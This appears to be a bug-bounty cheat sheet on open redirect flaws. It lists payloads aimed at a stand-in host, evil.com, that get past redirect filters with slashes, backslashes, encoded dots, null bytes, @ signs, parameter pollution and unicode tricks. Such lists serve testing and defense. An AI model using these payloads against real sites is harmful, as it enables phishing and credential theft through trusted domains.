Open Redirect

Where to find

• Sometimes it can be found in login / register / logout pages

• Checking the javascript source code

How to exploit

1. Try change the domain

/?redir=evil.com

1. Using a whitelisted domain or keyword

/?redir=target.com.evil.com

1. Using // to bypass http blacklisted keyword

/?redir=//evil.com

1. Using https: to bypass // blacklisted keyword

/?redir=https:evil.com

1. Using \\ to bypass // blacklisted keyword

/?redir=\\evil.com

1. Using \/\/ to bypass // blacklisted keyword

/?redir=\/\/evil.com/
/?redir=/\/evil.com/

1. Using %E3%80%82 to bypass . blacklisted character

/?redir=evil。com
/?redir=evil%E3%80%82com

1. Using null byte %00 to bypass blacklist filter

/?redir=//evil%00.com

1. Using parameter pollution

/?next=target.com&next=evil.com

1. Using @ or %40 character, browser will redirect to anything after the @

/?redir=[e-mail]
/?redir=target.com%40evil.com

1. Creating folder as their domain

http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com

1. Using ? characted, browser will translate it to /?

/?redir=target.com?evil.com

1. Bypass the filter if it only checks for domain name using %23

/?redir=target.com%23evil.com

1. Host/Split Unicode Normalization

https://evil.c℀.example.com

1. Using parsing

http://ⓔⓥⓘⓛ.ⓒⓞⓜ

1. Using ° symbol to bypass

/?redir=target.com/°evil.com

1. Bypass the filter if it only allows yoou to control the path using a nullbyte %0d or %0a

/?redir=/%0d/evil.com